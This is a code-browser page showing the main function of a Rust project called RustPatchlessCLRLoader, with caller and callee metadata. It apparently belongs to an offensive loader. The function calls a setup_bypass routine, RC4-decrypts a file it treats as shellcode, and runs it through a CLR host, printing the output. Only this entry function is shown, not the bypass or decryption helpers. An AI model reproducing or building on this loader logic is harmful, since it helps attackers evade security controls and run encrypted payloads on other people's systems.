MCPcopy Create free account
hub / github.com/c2pain/RustPatchlessCLRLoader / main

Function main

src/main.rs:388–406  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

386 return (path, command_args);
387}
388fn main() -> Result<(), String> {
389 println!("[+] RustPatchlessCLRLoader by C2Pain.");
390 println!("[+] Github: https://github.com/c2pain/RustPatchlessCLRLoader");
391 let (path, args) = prepare_args();
392
393 match setup_bypass() {
394 Ok(_) => {
395 let shellcode = decrypt_rc4(&path);
396 let mut clr = Clr::new(shellcode, args)?;
397 let results = clr.run()?;
398 println!("[+] Results:\n\n{}", results);
399 process::exit(0);
400 },
401 Err(err_msg) => {
402 println!("Error during verification: {}", err_msg);
403 }
404 }
405 Ok(())
406}

Callers

nothing calls this directly

Calls 3

prepare_argsFunction · 0.85
setup_bypassFunction · 0.85
decrypt_rc4Function · 0.85

Tested by

no test coverage detected